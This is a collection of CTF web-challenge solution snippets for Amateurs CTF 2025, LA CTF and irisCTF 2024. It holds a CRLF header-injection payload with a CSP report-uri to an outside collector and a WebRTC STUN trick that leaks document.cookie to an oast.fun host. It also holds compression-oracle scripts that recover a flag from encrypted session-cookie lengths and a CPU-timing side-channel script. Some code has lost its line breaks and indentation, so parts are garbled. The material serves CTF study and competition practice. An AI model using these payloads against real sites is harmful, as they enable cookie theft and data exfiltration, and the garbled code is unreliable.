Content Encoding + HTTP Header injection
| Event Name | Amateurs CTF 2025 |
| GitHub URL | - |
| Challenge Name | Devil Net v2 |
Attachments
References
from urllib.parse import quote
payload = '''test\x1b(B"\r\nContent-Security-Policy-Report-Only: default-src \'none\' \'report-sample\'; base-uri \'none\'; connect-src *; sandbox \'allow-scripts\'; report-uri http://anshalfk.requestrepo.com; worker-src \'none\';\r\n\r\n<html><head><meta charset="ISO-2022-JP"><img src="https://google.com?data=amateursCTF{leakyy\x1b$B'''
print("http://1pc.tf:9192/scout?content="+quote(payload))
WebRTC to bypass CSP restriction to leak information
| Event Name | Amateurs CTF 2025 |
| GitHub URL | - |
| Challenge Name | Orange Skies |
Attachments
References
solve 1
const rtc = new RTCPeerConnection({
iceServers: [
{ urls: "stun:" + document.cookie.split('=')[1].slice(13, 18) + ".dkqsmxdiwnfgfodfhnakr01wzmby9aw38.oast.fun" }
]
});
rtc.createDataChannel("");
rtc.createOffer().then((offer) => rtc.setLocalDescription(offer));
solve 2
CSRF + Open Redirect + URL fragment
Attachments
https://gist.github.com/tyage/3bb2b730c67b363a26b45699ca34b22a
Zlib Compress Leak
Attachments
https://hackmd.io/@r2dev2/S1P0RYHYke#Web
source code (partial)
from flask import Flask, session, request, redirect, render_template
import os
import random as rng
from cryptography.fernet import Fernet
from flask.sessions import SessionInterface, SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
from itsdangerous.encoding import base64_decode, base64_encode
flag = os.environ.get("FLAG", "lactf{owo_uwu}")
app = Flask(__name__, static_folder="static")
app.secret_key = os.urandom(32).hex()
key = Fernet.generate_key()
f = Fernet(key)
class EncryptedSerializer(URLSafeTimedSerializer):
def load_payload(self, payload, *args, serializer = None, **kwargs):
encrypted = base64_decode(payload)
decrypted = f.decrypt(encrypted)
return super().load_payload(decrypted, *args, serializer, **kwargs)
def dump_payload(self, obj):
decrypted = super().dump_payload(obj)
encrypted = f.encrypt(decrypted)
return base64_encode(encrypted)
# impl yoinked from https://github.com/pallets/flask/blob/f61172b8dd3f962d33f25c50b2f5405e90ceffa5/src/flask/sessions.py#L317
class EncryptedSessionInterface(SecureCookieSessionInterface):
def get_signing_serializer(self, app):
if not app.secret_key:
return None
keys: list[str | bytes] = [app.secret_key]
return EncryptedSerializer(
keys, # type: ignore[arg-type]
salt=self.salt,
serializer=self.serializer,
signer_kwargs={
"key_derivation": self.key_derivation,
"digest_method": self.digest_method,
},
)
app.session_interface = EncryptedSessionInterface()
@app.post("/login")
def login():
name = str(request.form.get("username"))
funny_num = int(request.form.get("funny"))
password = bytes((ord(ch) + funny_num) % 128 for ch in flag).decode()
session["username"] = name
session["sudopw"] = password
return redirect("/game")
@app.post("/whack")
def whack():
if "username" not in session:
return {"err": "login pls"}
if session["username"] == session["sudopw"]:
return {"win": True}
return {"mole": rng.randrange(5), "win": False}
@app.get("/")
def index():
return render_template("index.html")
@app.get("/game")
def game():
if "username" not in session:
return redirect("/")
return render_template("game.html", username=session["username"])
if __name__ == "__main__":
app.run("0.0.0.0", 8000, debug=True)
solver
import string
import requests
from tqdm import tqdm
base = "https://whack-a-mole.chall.lac.tf/"
url = lambda end: f"{base.rstrip('/')}{end}"
alpha = string.ascii_letters + string.digits + "{}_"
rng = "q3aUrDpfmRzMzABTCILvXCOA3Us"
s = requests.Session()
def get_len(guess):
r = s.post(
url("/login"),
data={"username": guess, "funny": "0"},
allow_redirects=False,
)
sess = s.cookies["session"]
return len(sess)
prefix = "lac"
block_size = 16
padrange = [*range(block_size)]
while "}" not in prefix:
for pad in [*padrange]:
owos = []
for ch in alpha:
guess = (prefix + ch) * block_size
guess = guess + rng[:pad]
owos.append((get_len(guess), ch))
owos.sort()
if owos[0][0] != owos[1][0]:
prefix += owos[0][1]
padrange.sort(key=lambda x: -1 if x == pad else x)
break
print(prefix)
solver 2
import requests, base64, string
FLAG = "lactf{wh"
ENDPOINT = "https://whack-a-mole.chall.lac.tf"
data = {
'username': '',
'funny': '0'
}
for i in range(30):
for c in '_}' + string.ascii_lowercase + string.digits + string.ascii_uppercase:
data['username'] = '!'+FLAG[-8:]+c+'%$'
s = requests.Session()
r = s.post(ENDPOINT+"/login", data=data)
d = (base64.b64decode(s.cookies['session'].split(".")[0].encode()+b'==').decode())
if len(d) < 248:
FLAG += c
print(FLAG)
break
Mokersee | irisCTF 2024
Not sure if anyone else used this trick From the xs leak via cpu
microarchitectual attack dream (except it’s not xsl because there’s no
actual reason for it to be) If the cpu has to work with subnormal
floating points it grinds to a halt Browsers all disable this
explicitly
import requests
import time
from skimage.io import imshow
import numpy as np
import urllib
import json
from matplotlib import pyplot as plt
import ray
# black white SUBNORMAL = 1e-321SUBNORMAL = 1e-306X = 1024//10Y = 768//10print(X, Y)
image = np.zeros((X, Y))
plt.ion()
plt.show()
ray.init()
@ray.remotedef fetch(x, y):
req = urllib.parse.quote_plus(json.dumps([{"filter": "resize", "args": [[X, Y], None, 'reflect', 0, True, False, False]}, {"filter":"warp","args":[[[0.0000001,0,y],[0,0.0000001,x],[0,0,1]]]}, {"filter": "resize", "args": [[1,1],None, 'reflect', 0, True, False, False]}, {"filter": "intensity", "args": [(0,1),(0,SUBNORMAL)]}, {"filter":"resize", "args":[[600,600]]} ]))
t = time.time()
requests.get("http://mokersee-web.chal.irisc.tf/view/flagmoker?filters=" + req)
t = time.time() - t
return x, y, t
futures = []
for x in range(0, X):
for y in range(0, Y):
futures.append(fetch.remote(x, y))
while len(futures) > 0:
ready, _ = ray.wait(futures)
for r in ready:
x, y, t = ray.get(r)
print(x, y, t)
image[x, y] = t > 0.75 plt.clf()
imshow(image)
plt.draw()
plt.pause(.001)
futures.remove(r)
input("> ")